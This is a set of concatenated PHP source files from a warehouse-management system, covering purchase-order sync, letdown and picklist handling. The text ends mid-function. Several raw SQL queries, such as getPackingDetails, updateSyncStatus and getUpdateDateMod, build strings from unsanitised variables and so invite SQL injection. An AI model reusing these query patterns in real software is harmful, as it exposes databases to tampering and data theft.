$validate = self::checkReceiverNumber($receiver,__METHOD__);
if ($validate)
{
echo "Entered: Purchase Order Store Receipt \n";
self::checkReceiverLanding($receiver);
}
}
private static function checkReceiverLanding($receiver) {
parent::$jda->screenWait("Receiver Number");
parent::display(parent::$jda->screen,132);
if(parent::$jda->screenCheck("Receiver Number"))
self::updateSyncStatus($receiver);
else
echo "Unsuccessful jda sync. PO still in Release Status";
}
/*public function getReceiverNo() {
$db = new pdoConnection();
echo "\n Getting receiver no from db \n";
$sql = "SELECT receiver_no reference
FROM wms_transactions_to_jda
INNER JOIN wms_purchase_order_lists ON reference = purchase_order_no
WHERE module = 'Purchase Order' AND jda_action='Receiving' AND sync_status = 0";
$query = $db->query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value['reference'];
}
$db->close();
return $result;
}*/
/*
* Update ewms trasaction_to_jda sync_status
*/
private static function updateSyncStatus($reference,$error_message=null, $isError = FALSE) {
$db = new pdoConnection();
$date_today = date('Y-m-d H:i:s');
$status = ($isError) ? parent::$errorFlag : parent::$successFlag;
echo "\n Getting receiver no from db \n";
$sql = "UPDATE wms_transactions_to_jda
SET sync_status = {$status}, updated_at = '{$date_today}', jda_sync_date = '{$date_today}', error_message = '{$error_message}'
WHERE sync_status = 0 AND module = 'Purchase Order' AND jda_action='Receiving' AND reference = (SELECT purchase_order_no FROM wms_purchase_order_lists po WHERE po.receiver_no = {$reference})";
$query = $db->exec($sql);
echo "Affected rows: $query \n";
$db->close();
}
/*
* On done only via android
*/
public function enterUpToDockReceipt()
{
//TODO::checkvalues
//TODO::how to know if error
try {
$title = "Receiving PO \n";
echo $title ;
parent::checkRecoverJob();
parent::checkJobOnProgress();
self::enterMerchandising();
self::enterStoreReceivingMenu();
self::enterDockReceipt();
} catch (Exception $e) {
//send fail status
echo 'Error: '. $e->getMessage();
}
}
private static function syncPOClosing($params)
{
$formattedString = "{$params['poNo']}";
$dbInstance = new pdoConnection(); //open db connection
$dbInstance->daemon('close_po', $formattedString);
$dbInstance->close();
echo "Entered: Syncing purchase order closing.... \n";
}
public function logout($params = array())
{
parent::logout();
self::syncPOClosing($params);
}
}
$db = new pdoConnection(); //open db connection
if(!isset($argv[1])){
$jdaParams = array();
$jdaParams = array('module' => 'Purchase Order', 'jda_action' => 'Closing');
$getPoNos = $db->getJdaTransaction($jdaParams);
print_r($getPoNos);
if(! empty($getPoNos) )
{
foreach($getPoNos as $poNo) {
$formattedString = "{$poNo}";
$db->daemon('receive_po', $formattedString);
}
}
}
else{
$params = array();
$params = array('module' => 'Purchase Order', 'jda_action' => 'Receiving');
$execParams = array();
$execParams['poNo'] = ((isset($argv[1]))? $argv[1] : NULL);
if($argv[1]) $params['reference'] = $execParams['poNo'];
$poNos = $db->getJdaTransaction($params);
if(! empty($poNos) )
{
$receiver_nos = $db->getReceiverNo($poNos);
print_r($receiver_nos);
if(! empty($receiver_nos) )
{
$receivePO = new poReceiving();
$receivePO->enterUpToDockReceipt();
foreach($receiver_nos as $receiver_no)
{
$receiver = $receiver_no['receiver_no'];
$back_order = $receiver_no['back_order'];
$slot_code = $receiver_no['slot_code'];
$shipment_reference_no = $receiver_no['shipment_reference_no'];
$validate = $receivePO->enterReceiverNumber($receiver, $back_order);
if($validate) $receivePO->enterPOForm($receiver, $slot_code, $shipment_reference_no);
}
$receivePO->logout($execParams);
}
else {
echo " \n No receiver_nos found!. \n";
}
}
else {
echo " \n No rows found!. Proceed to Closing of PO...\n";
$formattedString = "{$execParams['poNo']}";
$db->daemon('close_po', $formattedString);
}
}
$db->close(); //close db connection
/*
$receivePO = new poReceiving();
$receiver_nos = $receivePO->getReceiverNo();
print_r($receiver_nos);
if(! empty($receiver_nos) )
{
$receivePO->enterUpToDockReceipt();
foreach($receiver_nos as $receiver) {
$validate = $receivePO->enterReceiverNumber($receiver);
if($validate) $receivePO->enterPOForm($receiver);
}
}
else {
echo " \n No rows found!. \n";
}
$receivePO->logout();
*/<file_sep><?php
class LetdownDetails extends Eloquent {
protected $table = 'letdown_details';
/**
* Get letdown list based on details
*
* @example LetdownDetails::getLetDownLists()
*
* @return array of upc
*/
public static function getLetDownLists()
{
$letdownList = LetdownDetails::select("letdown_details.sku as sku","department.description as sub_dept","product_lists.description", "letdown.created_at")
->join('letdown', 'letdown.move_doc_number', '=', 'letdown_details.move_doc_number')
->leftJoin('product_lists' , 'product_lists.upc', '=', 'letdown_details.sku')
->leftJoin('department', 'department.sub_dept', '=', 'product_lists.sub_dept')
->where('move_to_picking_area', '=', Config::get('letdown_statuses.unmoved'))
->groupBy('sku')
->get();
return $letdownList;
}
/**
* Get Letdown detail by SKU/UPC
*
* @example LetdownDetails::getLetDownDetailBySKU({sku})
*
* @param sku sku/upc of product
* @return array of letdown details by slot
*/
public static function getLetDownDetailBySKU($sku, $docNos)
{
$letdownDetails = LetdownDetails::select(DB::raw("sum(wms_letdown_details.quantity_to_letdown) as quantity_to_letdown, sum(wms_letdown_details.moved_qty) as moved_qty, wms_letdown_details.from_slot_code"))
->whereIn('move_doc_number', $docNos)
->where('move_to_picking_area', '=', Config::get('letdown_statuses.unmoved'))
->where('sku', '=', $sku)
->groupBy('from_slot_code')
->get();
return $letdownDetails;
}
/**
* Get Letdown detail by move_doc_number
*
* @example LetdownDetails::getLetDownDetailByDocNo({$docNo})
*
* @param sku move_doc_nmber
* @return array of letdown details by move document number
*/
public static function getLetDownDetailByDocNo($docNo)
{
$letdownDetails = LetdownDetails::select('letdown_details.sku',"product_lists.description", 'store_code', 'move_doc_number', 'from_slot_code', 'quantity_to_letdown', 'moved_qty')
->leftJoin('product_lists' , 'product_lists.upc', '=', 'letdown_details.sku')
->where('move_doc_number', '=', $docNo)
->get();
return $letdownDetails;
}
/**
* Gets the document numbers that are assigned on the stock piler
*
* @example LetdownDetails::getLetdownDocumentNumbers({sku}, {id})
*
* @param $sku sku/upc of product
* @param $id stock piler id
* @return array of document numbers
*/
public static function getLetdownDocumentNumbers($sku, $id)
{
$documentNumbers = LetdownDetails::where('move_to_picking_area', '=', Config::get('letdown_statuses.unmoved'))
->whereIn('assigned_user_id', array(0, $id))
->where('sku', '=', $sku)
->groupBy('move_doc_number')
->lists('move_doc_number');
return $documentNumbers;
}
/**
* Check if the the letdown document is assigned
*
* @example LetdownDetails::checkAndAssign({docNos}, {sku}, {id})
*
* @param docNos array document numbers
* @param sku int sku/upc of the product
* @param id int stock piler id
* @return Status
*/
public static function checkAndAssign($docNos, $sku, $id)
{
$lockTag = time();
$letdownAssigned = self::getSumOfAssigned($docNos, $sku);
if($letdownAssigned > 0 ) {
$currentlyAssigned = self::getCurrentlyAssigned($docNos, $sku, $id);
//assigns all with 0 assigned
if(in_array(0, $currentlyAssigned)) {
self::assignLetdown(array_keys($currentlyAssigned), $sku, $id, $lockTag);
return array_keys($currentlyAssigned);
}
//returns all document numbers where the current user is assigned
if(in_array($id, $currentlyAssigned)) {
return array_keys($currentlyAssigned);
}
throw new Exception("This upc has already been assigned");
} else {
self::assignLetdown($docNos, $sku, $id, $lockTag);
}
return $docNos;
}
/**
* Check if the the letdown document is assigned
*
* @example LetdownDetails::checkAndAssignv2({docNos}, {id})
*
* @param docNos array document numbers
* @param id int stock piler id
* @return Status
*/
public static function checkAndAssignv2($docNo, $id)
{
$lockTag = time();
// check if doc_no has already an assigned user_id
// if none assign the letdown doc_no to the first user_id
// else prohibit other user to access that letdown
$user = LetdownDetails::select('assigned_user_id')
->where('letdown_details.move_doc_number', '=', $docNo)
->join('letdown', 'letdown.move_doc_number', '=', 'letdown_details.move_doc_number')
->groupBy('letdown_details.move_doc_number')
->first()->toArray();
if ( $user['assigned_user_id'] == 0 ) {
LetdownDetails::where('move_doc_number', '=', $docNo)
->update(array('assigned_user_id' => $id, 'lock_tag' => $lockTag,));
} else {
if ( $user['assigned_user_id'] != $id ) {
throw new Exception("This letdown has already been assigned to a different stock piler");
return false;
}
}
return true;
}
/**
* Gets sum of assigned ids, used for check if the group of details has someone assigned to it
*
* @example self::getSumOfAssigned();
*
* @param $docNos Document number
* @param $sku Sku or upc
* @return sum of assigned user id
*/
private static function getSumOfAssigned($docNos, $sku)
{
$result = LetdownDetails::select(DB::raw("sum(wms_letdown_details.assigned_user_id) as assigned_user_id"))
->whereIn('move_doc_number', $docNos)
->where('sku', '=', $sku)
->pluck('assigned_user_id');
return $result;
}
/**
* Gets details where the current user has already been assigned
*
* @example self::getCurrentlyAssigned();
*
* @param $docNos Document number
* @param $sku Sku or upc
* @param $id Stock piler id
* @return array of assigned user id and document number
*/
private static function getCurrentlyAssigned($docNos, $sku, $id)
{
$result = LetdownDetails::whereIn('move_doc_number', $docNos)
->where('sku', '=', $sku)
->whereIn('assigned_user_id', array(0, $id))
->lists('assigned_user_id', 'move_doc_number');
return $result;
}
/**
* Assign to stockpiler
*
* @example self::assignLetdown();
*
* @param $docNos Document number
* @param $sku Sku or upc
* @param $id Stock piler id
* @param $lockTag Lock tag
* @return void
*/
private static function assignLetdown($docNos, $sku, $id, $lockTag)
{
LetdownDetails::whereIn('move_doc_number', $docNos)
->where('sku', '=', $sku)
->where('assigned_user_id', '=', 0)
->update(array(
'lock_tag' => $lockTag,
'assigned_user_id' => $id,
'updated_at' => date('Y-m-d H:i:s')));
return true;
}
/**
* Changed moved_qty of a letdown list detail
*
*/
public static function moveToPicking($letdownDetailId, $movedQty)
{
//static to slot, PCK00001,
LetdownDetails::where('id' , '=', $letdownDetailId)
->update(array(
'updated_at' => date('Y-m-d H:i:s'),
'moved_qty' => $movedQty,
'move_to_picking_area' => Config::get('letdown_statuses.moved'),
'to_slot_code' => 'PCK00001'
));
return true;
}
/*
*
* Checks if letdown detail has already been moved
*
*/
public static function getLetdownDetail($docNos, $sku, $slot, $id)
{
$letdownDetail = LetdownDetails::whereIn('move_doc_number' , $docNos)
->where('sku' , '=', $sku)
->where('move_to_picking_area','=', Config::get('letdown_statuses.unmoved'))
->where('assigned_user_id', '=', $id)
->where('from_slot_code' , '=', $slot)
->get();
if(count($letdownDetail) === 0 ) {
throw new Exception("The letdown document does not contain the passed SKU or the sku does not exist in the given slot.");
}
return $letdownDetail;
}
/******************Methods for CMS only*************************/
public static function getLetdownDetails($move_doc_number,$data = array(), $getCount = false)
{
$query = DB::table('letdown_details')
->join('stores', 'stores.store_code', '=', 'letdown_details.store_code', 'LEFT')
->join('product_lists', 'letdown_details.sku', '=', 'product_lists.upc')
->where('letdown_details.move_doc_number', '=', $move_doc_number);
if( CommonHelper::hasValue($data['filter_sku']) ) $query->where('letdown_details.sku', 'LIKE', '%'.$data['filter_sku'].'%');
if( CommonHelper::hasValue($data['filter_store'])) $query->where('stores.store_name', 'LIKE', '%'.$data['filter_store'].'%');
if( CommonHelper::hasValue($data['filter_slot']) ) $query->where('letdown_details.from_slot_code', 'LIKE', '%'. $data['filter_slot'].'%');
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='sku') $data['sort'] = 'letdown_details.sku';
if ($data['sort']=='slot') $data['sort'] = 'letdown_details.from_slot_code';
if ($data['sort']=='store') $data['sort'] = 'stores.store_name';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
if($getCount) {
$result = $query->count();
}
return $result;
}
public static function getLockTags($data = array(), $getCount=false)
{
$query = LetdownDetails::select(DB::raw('wms_letdown_details.*, wms_users.*, sum(move_to_picking_area) as sum_moved'))
->join('users', 'users.id', '=', 'letdown_details.assigned_user_id');
if( CommonHelper::hasValue($data['filter_stock_piler']) ) $query->where('users.id', '=', $data['filter_stock_piler']);
if( CommonHelper::hasValue($data['filter_doc_no'])) $query->where('letdown_details.move_doc_number', 'LIKE', '%'.$data['filter_doc_no'].'%');
if( CommonHelper::hasValue($data['filter_sku']) ) $query->where('letdown_details.sku', 'LIKE', '%'. $data['filter_sku'].'%');
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='lock_tag') $data['sort'] = 'letdown_details.lock_tag';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
if($getCount) {
$result = $query->count(DB::raw('distinct lock_tag'));
} else {
$query->groupBy('letdown_details.lock_tag');
$result = $query->get();
}
return $result;
}
public static function getLockTagDetails($lockTag)
{
$lockTagDetails = LetdownDetails::where('lock_tag', '=', $lockTag)
->join('stores', 'stores.store_code', '=', 'letdown_details.store_code')
->join('product_lists','product_lists.upc', '=', 'letdown_details.sku' )
->get();
$sumMoved = LetdownDetails::select(DB::raw('sum(move_to_picking_area) as sum_moved'))
->where('lock_tag', '=', $lockTag)
->pluck('sum_moved');
$result = array('details' => $lockTagDetails,
'sum_moved' => $sumMoved);
return $result;
}
public static function unlockTag($lockTags)
{
LetdownDetails::whereIn('lock_tag', $lockTags)
->where('move_to_picking_area' , '!=', Config::get('letdown_statuses.moved'))
->update(array('assigned_user_id'=> 0,
'lock_tag' => 0,
'updated_at' => date('Y-m-d H:i:s')));
return true;
}
public static function saveDetail($docNo, $data, $user_id)
{
//UPDATE ssi.wms_letdown_details SET moved_qty = 250, to_slot_code = 'PCK00001', move_to_picking_area = 1
// WHERE from_slot_code = 'CRAC' AND move_doc_number = 8858 AND sku = '2800090900154'
foreach ($data as $key => $value) {
foreach ($value as $v) {
LetdownDetails::where('from_slot_code', '=', $v['from_slot_code'])
->where('move_doc_number', '=', $docNo)
->where('sku', '=', $v['sku'])
->update(array(
'moved_qty' => $v['moved_qty'],
'to_slot_code' => 'PCK00001',
'move_to_picking_area' => Config::get('letdown_statuses.moved'),
'updated_at' => date('Y-m-d H:i:s')
)
);
}
}
return true;
}
}<file_sep><?php
class ApiPicklist extends BaseController {
// private static $types = array('sku', 'store');
private static $types = array('upc', 'store');
public function __construct() {
date_default_timezone_set('Asia/Manila');
}
/**
* Get Picklist lists grouped according to needed format
*
* @example www.example.com/api/{version}/picking/list GET
*
* @throws Exception error
* @return json encoded array of picking lists
*/
public static function getPickingLists()
{
try {
$pickingLists = PicklistDetails::getPickListGrouped();
return CommonHelper::return_success_message($pickingLists);
} catch (Exception $e) {
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Gets details of the selected sku or store
*
* @example www.example.com/api/{version}/picking/detail/{sku_or_store} GET
*
* @param $skuOrStore sku/upc of product or storeCode of store
* @param $type type the client needs
* @return json encoded array of of letdown detail
*/
public static function getPickingDetail($skuOrStore)
{
try {
if(! CommonHelper::hasValue(Request::get('type')) ) throw new Exception( 'Missing type type parameter.');
DB::beginTransaction();
$type = Request::get('type');
$docNos = self::getDocumentNumbers($type, $skuOrStore, ResourceServer::getOwnerId());
$result = self::getDocNosAndDetails($docNos,$skuOrStore, ResourceServer::getOwnerId(), $type);
DB::commit();
return CommonHelper::return_success_message($result);
} catch (Exception $e) {
DB::rollback();
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Post done the upc or store that waas clicked in the header
*
* @example www.example.com/api/{version}/picking/done/{sku_or_store}
*
* @param skuOrStore sku/upc or store code of what picking header was done
* @param docNos passed document numbers at click of the picking header
* @param $type type of picking header
* @return Status
*/
public static function postDone($skuOrStore)
{
try {
DB::beginTransaction();
CommonHelper::setRequiredFields(array('doc_nos', 'type'));
$docNos = json_decode(Request::get('doc_nos'));
$type = Request::get('type');
if(empty($docNos)) throw new Exception("Parameter doc_nos does not have a valid format");
if(in_array($type, self::$types)) {
PicklistDetails::checkforEmptySkus($docNos,$skuOrStore, $type);
// dd($stats);
$docNos = PicklistDetails::checkOnlyAssigned($docNos,$skuOrStore,$type, ResourceServer::getOwnerId());
PicklistDetails::moveToShippingChangeStatus($docNos,$skuOrStore,$type);
} else {
throw new Exception("Type parameter is not correct");
}
self::postDoneAuditTrail($docNos, $skuOrStore, $type);
DB::commit();
return CommonHelper::return_success();
} catch (Exception $e) {
DB::rollback();
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Gets all document numbers of passed sku or store
*
* @example self::getDocumentNumbers();
*
* @param $type type of what the client needs
* @param $skuOrStore sku or store
* @param $id stock piler id
* @return document numbers
*/
private static function getDocumentNumbers($type, $skuOrStore, $id)
{
$docNos = PicklistDetails::getPicklistDocumentNumbers($type, $skuOrStore, $id);
if(count($docNos) < 1) throw new Exception("This store or upc has already been assigned");
return $docNos;
}
/**
* Gets assigned or newly assigned doc numbers and details of the passed sku or store
*
* @example self::getDocNosAndDetails()
*
* @param $docNos Document numbers
* @param $type type of what the client needs
* @param $skuOrStore sku or store
* @param $id stock piler id
* @return Status
*/
private static function getDocNosAndDetails($docNos,$skuOrStore, $id, $type)
{
if($type == 'upc') {
$docNos = PicklistDetails::checkAndAssign($docNos,$skuOrStore,'upc', $id);
$pickingDetail = PicklistDetails::getDetailBySKU($skuOrStore, $docNos);
} else if ($type == 'store') {
$docNos =PicklistDetails::checkAndAssign($docNos,$skuOrStore,'store', $id);
$pickingDetail = PicklistDetails::getDetailByStore($skuOrStore, $docNos);
} else {
throw new Exception("Type parameter is not correct");
}
$result = array('doc_nos' => $docNos,
'details' => $pickingDetail->toArray());
return $result;
}
/**
* Audit trail of posting the picking header as done
*
* @example self::postDoneAuditTrail({param})
*
* @param docNos passed document numbers at click of the picking header
* @param skuOrStore sku/upc or store code of what picking header was done
* @param type type of picking header
* @return
*/
private static function postDoneAuditTrail($docNos, $skuOrStore, $type)
{
if($type == 'upc') {
$dataAfter = 'Item ' . $skuOrStore . ' from Picklist Documents # ' .implode(',', $docNos) . ' change status as done.';
} else if($type == 'store') {
$dataAfter = 'Items from store #' . $skuOrStore . ' from Picklist Documents # ' .implode(',', $docNos) . ' change status as done';
}
$arrParams = array(
'module' => Config::get("audit_trail_modules.picking"),
'action' => Config::get("audit_trail.post_picklist_to_box"),
'reference' => "Picklist Document #: " .implode(',', $docNos),
'data_before' => '',
'data_after' => $dataAfter,
'user_id' => ResourceServer::getOwnerId(),
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
/**
* Version 2
* Get Picklist lists grouped according to needed format
*
* @example www.example.com/api/{version}/picking/list GET
*
* @throws Exception error
* @return json encoded array of picking lists
*/
public static function getPickingListsv2()
{
try {
$bench = new BenchmarkHelper();
$bench->start(__METHOD__);
$pilerId = Authorizer::getResourceOwnerId();
$pickingLists = Picklist::getListByPiler($pilerId);
DebugHelper::log(__METHOD__, $pickingLists);
$bench->end();
return CommonHelper::return_success_message($pickingLists);
} catch (Exception $e) {
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Gets details of the selected move_doc_number
*
* @example www.example.com/api/{version}/picking/detail/{move_doc_number} GET
*
* @param sku move document number
* @return json encoded array of of picking detail
*/
public static function getPickingDetailv2($move_doc_number)
{
try {
if(! CommonHelper::hasValue($move_doc_number) ) throw new Exception( 'Missing parameter move_doc_number.');
$bench = new BenchmarkHelper();
$bench->start(__METHOD__);
DB::beginTransaction();
//assign letdown
// PicklistDetails::checkAndAssignv2($move_doc_number, Authorizer::getResourceOwnerId());
$picklistDetail = PicklistDetails::getPicklistDetailByDocNo($move_doc_number);
$bench->end();
DB::commit();
return CommonHelper::return_success_message($picklistDetail->toArray());
} catch (Exception $e) {
DB::rollback();
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Change letdown quantity, moves a certain product from reserve zone to picking zone
*
* @example www.example.com/api/{version}/letdown/detail POST
* @param doc_no document number
* @param data e.g format: {"CRAC":[{"moved_qty":500,"sku":2800090900154,"from_slot_code":"CRAC"},{"moved_qty":500,"sku":2800091900153,"from_slot_code":"CRAC"}]}
* @return status ok if moved
*/
public static function postPickingDetailv2()
{
try{
CommonHelper::setRequiredFields(array('doc_no', 'data'));
//parameters
$docNo = Request::get('doc_no');
$data = json_decode(Request::get('data'), true);
$user_id = Authorizer::getResourceOwnerId();
DebugHelper::logVar(__METHOD__, print_r($data, true));
if(empty($data)) throw new Exception("Parameter data does not have a valid format");
DB::beginTransaction();
// update picklist, picklist detail, box_detail and audit trail
$result = PicklistDetails::saveDetail($docNo, $data, $user_id);
// update status of picklist
$status_options = Dataset::where("data_code", "=", "PICKLIST_STATUS_TYPE")->get()->lists("id", "data_value");
Picklist::updateStatus($docNo, $status_options['done']);
DB::commit();
return Response::json(array(
'error' => false,
'message' => 'Success'),
200
);
} catch (Exception $e) {
DB::rollback();
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Change purchase order status
*
* @example www.example.com/api/{version}/purchase_order/update_status/{po_order_no}
*
* @param po_order_no int Purchase order number
* @param po_status int Purchase order status
* @return Status
*/
public function updateStatus($docNo) {
try {
if(! CommonHelper::hasValue($docNo) ) throw new Exception( 'Missing picklist document number parameter.');
if(! CommonHelper::hasValue(Request::get('pl_status')) ) throw new Exception( 'Missing status parameter.');
$status_value = Request::get('pl_status');
$status_options = Dataset::where("data_code", "=", "PICKLIST_STATUS_TYPE")->get()->lists("id", "data_value");
if(! CommonHelper::arrayHasValue($status_options[$status_value]) ) throw new Exception( 'Invalid status value.');
/*$picklist = Picklist::where('move_doc_number', '=', $docNo)
->update(array(
"pl_status" => $status_options[$status_value],
"updated_at" => date('Y-m-d H:i:s')
));*/
$loggedInUserId = Authorizer::getResourceOwnerId();
$validateUser = Picklist::where('move_doc_number', '=', $docNo)
->where('assigned_to_user_id', '=', $loggedInUserId)->first();
if ( empty($validateUser) ) throw new Exception( 'User does not have the rights to access this picklist.');
$picklist = Picklist::updateStatus($docNo, $status_options[$status_value]);
//Audit trail
$user_id = Authorizer::getResourceOwnerId();
$date_before = 'Picklist Doc No #' . $docNo . ' status was Assigned.';
$data_after = 'Picklist Doc No #' . $docNo . ' status is now ' .$status_options[$status_value]. ' and was changed by Stock Piler #' . $user_id . '.';
$arrParams = array(
'module' => Config::get("audit_trail_modules.picking"),
'action' => Config::get("audit_trail.modify_picklist_status"),
'reference' => 'Picklilst Doc #' . $docNo,
'data_before' => $date_before,
'data_after' => $data_after,
'user_id' => Authorizer::getResourceOwnerId(),// ResourceServer::getOwnerId(),
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
if ($picklist) {
AuditTrail::addAuditTrail($arrParams);
}
DebugHelper::log(__METHOD__, $picklist);
return Response::json(array(
'error' => false,
'message' => 'Successfully changed status to '.$status_value,
'result' => $picklist),
200
);
}catch(Exception $e) {
Log::error(__METHOD__ .' Something went wrong: '.print_r($e->getMessage(),true));
return CommonHelper::return_fail($e->getMessage());
}
}
}
<file_sep><?php
class SettingsSeeder extends Seeder {
/**
* Run the database seeds.
*
* @return void
*/
public function run() {
Settings::truncate();
$data = array(
array(
'brand' => 'family-mart',
'brand_name' => 'Family Mart',
'product_identifier' => 'upc',
'product_action' => 'upc-detail-page'
),
array(
"brand" => 'gap',
"brand_name" => 'Gap',
"product_identifier" => 'sku',
'product_action' => 'increment-quantity'
)
);
foreach ($data as $d) {
Settings::create($d);
}
}
}<file_sep><?php
class Picklist extends Eloquent {
protected $table = 'picklist';
/*****CMS Functions*****/
public static function getPickList($picklistDocNo)
{
$picklist = Picklist::where('picklist.move_doc_number', '=', $picklistDocNo)
->join('picklist_details', 'picklist.move_doc_number','=', 'picklist.move_doc_number')
->where('picklist_details.move_doc_number', '=', $picklistDocNo)
->first()->toArray();
return $picklist;
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
public static function getStoreLocationwarehouse ($doc_num)
{
$query= DB::table('picklist_details')
->SELECT( 'picklist_details.store_code','picklist.transfer_no','product_lists.dept_code','product_lists.description')
->join('picklist','picklist_details.move_doc_number','=','picklist.move_doc_number','LEFT')
->join('product_lists','picklist_details.sku','=','product_lists.upc','left')
->WHERE('picklist.move_doc_number', '=', $doc_num)
->first();
return $query;
}
public static function getPackingDetails($doc_num)
{
// get load date
$rs = DB::SELECT(DB::raw("SELECT wms_picklist.move_doc_number, wms_picklist_details.sku, wms_picklist.transfer_no, wms_box_details.moved_qty, wms_box_details.box_code, wms_product_lists.description, wms_product_lists.short_description
FROm wms_picklist
left join wms_picklist_details on wms_picklist.move_doc_number = wms_picklist_details.move_doc_number
left join wms_box_details on wms_box_details.picklist_detail_id = wms_picklist_details.id
left join wms_product_lists on wms_picklist_details.sku = wms_product_lists.upc
where wms_picklist.move_doc_number = '$doc_num' ORDER BY wms_picklist_details.move_doc_number, wms_box_details.box_code ASC "));
return $rs;
}
public static function getPRINTMTS($picklist_doc)
{
$query = DB::select(DB::raw("SELECT SUM(wms_box_details.moved_qty) as total_qty, wms_stores.store_name, wms_stores.store_code, wms_box.move_doc_number as picklist_doc
FROM wms_box
LEFT JOIN wms_stores on wms_box.store_code = wms_stores.store_code
LEFT JOIN wms_box_details on wms_box.box_code = wms_box_details.box_code
LEFT join wms_picklist_details on wms_box_details.picklist_detail_id = wms_picklist_details.id
WHERE wms_box.move_doc_number='$picklist_doc' GROUP BY wms_box.box_code"));
return $query;
}
public static function getPRINTMTSasdf($picklist_doc)
{
$query = DB::select(DB::raw("SELECT sum(wms_box_details.moved_qty) as total_qty, wms_picklist.move_doc_number, wms_box.box_code, wms_stores.store_name, wms_stores.store_code
from wms_picklist
left join wms_box on wms_picklist.move_doc_number = wms_box.move_doc_number
LEFT JOIN wms_box_details on wms_box.box_code = wms_box_details.box_code
LEFT JOIN wms_picklist_details on wms_picklist.move_doc_number = wms_picklist_details.move_doc_number
LEFT JOIN wms_stores on wms_picklist_details.store_code = wms_stores.store_code
where wms_picklist.move_doc_number='$picklist_doc'
group BY wms_box.box_code"));
return $query;
}
public static function getTLnumbersync()
{
$query=DB::table('picklist')
->where('picklist.pl_status', 15)
->where('picklist.assigned_to_user_id','!=', 0)
->update(['picklist.pl_status' =>'16']);
}
public static function getpostedtoStore($doc_num, $boxcode)
{
$query=DB::select(DB::raw("INSERT INTO wms_store_order_detail (so_no, sku, ordered_qty, packed_qty, delivered_qty)
SELECT wms_picklist_details.move_doc_number, wms_picklist_details.sku, wms_picklist_details.quantity_to_pick as ordered_qty, wms_picklist_details.moved_qty, '0'
from wms_picklist_details
where wms_picklist_details.move_doc_number='$doc_num'"));
}
public static function getUpdateDateMod($move_doc_number, $ship_date)
{
$query = DB::SELECT(DB::raw("UPDATE wms_picklist set ship_date='$ship_date' WHERE move_doc_number='$move_doc_number'"));
}
/*public static function getpostedtoBoxOrder($doc_num)
{
$query=DB::select(DB::raw("INSERT INTO wms_store_detail_box (move_doc_number, box_code, upc, quantity_packed, box_status, quantity_pick)
SELECT wms_box.move_doc_number, wms_box.box_code, wms_picklist_details.sku, wms_box_details.moved_qty, wms_box.boxstatus_unload, '0'
from wms_box
inner join wms_box_details on wms_box.box_code = wms_box_details.box_code
left join wms_picklist_details on wms_box_details.picklist_detail_id = wms_picklist_details.id
where wms_box.move_doc_number='$doc_num'"));
}*/
public static function getPickingListvVariance($data= array(), $getCount=false)
{
$query = Picklist::SELECT('picklist.move_doc_number', 'picklist.pl_status','store_name','picklist_details.sku as upc', 'picklist_details.store_code', 'product_lists.sku', 'product_lists.description','from_slot_code', 'users.firstname','users.lastname','picklist_details.quantity_to_pick','picklist_details.sku as upc','picklist.updated_at', 'picklist_details.created_at','picklist_details.moved_qty','picklist_details.quantity_to_pick',DB::raw('CONCAT(firstname, " ", lastname) as fullname, (moved_qty - quantity_to_pick) as variance'))
->join('picklist_details','picklist_details.move_doc_number','=','picklist.move_doc_number','LEFT')
->JOIN('product_lists','picklist_details.sku','=','product_lists.upc','LEFT')
->JOIN('users','picklist.assigned_to_user_id','=','users.id','LEFT')
->JOIN('stores','picklist_details.store_code','=','stores.store_code','LEFT')
->WHERE('picklist.assigned_to_user_id', '!=', '0')
->where('picklist.pl_status','=' ,'18')
->where('picklist_details.quantity_to_pick','<>','picklist_details.moved_qty');
if( CommonHelper::hasValue($data['filter_doc_no']) ) $query->where('picklist.move_doc_number', 'LIKE', '%'. $data['filter_doc_no'] . '%');
if( CommonHelper::hasValue($data['filter_entry_date']) ) $query->where('picklist.updated_at', 'LIKE', '%'. $data['filter_entry_date'] . '%');
$result = $query->get();
DebugHelper::log(__METHOD__, $result);
// get the multiple stock piler fullname
foreach ($result as $key => $picklist) {
$assignedToUserId = explode(',', $picklist->assigned_to_user_id);
$getUsers = User::getUsersFullname($assignedToUserId);
$result[$key]->fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $getUsers));
}
if($getCount) return count($result);
return $result;
}
public static function getPickingListv2($data= array(), $getCount=false)
{
// $query = Picklist::select(DB::raw('wms_picklist.*, sum(wms_picklist_details.move_to_shipping_area) as sum_moved, sum(wms_picklist_details.assigned_user_id) as sum_assigned, store_code' ))
$query = Picklist::select('picklist.*','division.*','picklist_details.*','dataset.*','picklist_details.updated_at as action_date')
->join('picklist_details', 'picklist_details.move_doc_number', '=', 'picklist.move_doc_number')
->join('division','picklist_details.division','=','division.id', 'LEFT')
->join('dataset', 'picklist.pl_status', '=', 'dataset.id');
if( CommonHelper::hasValue($data['filter_doc_no']) ) $query->where('picklist.move_doc_number', 'LIKE', '%'. $data['filter_doc_no'] . '%');
if( CommonHelper::hasValue($data['filter_type']) ) $query->where('type', '=', $data['filter_type']);
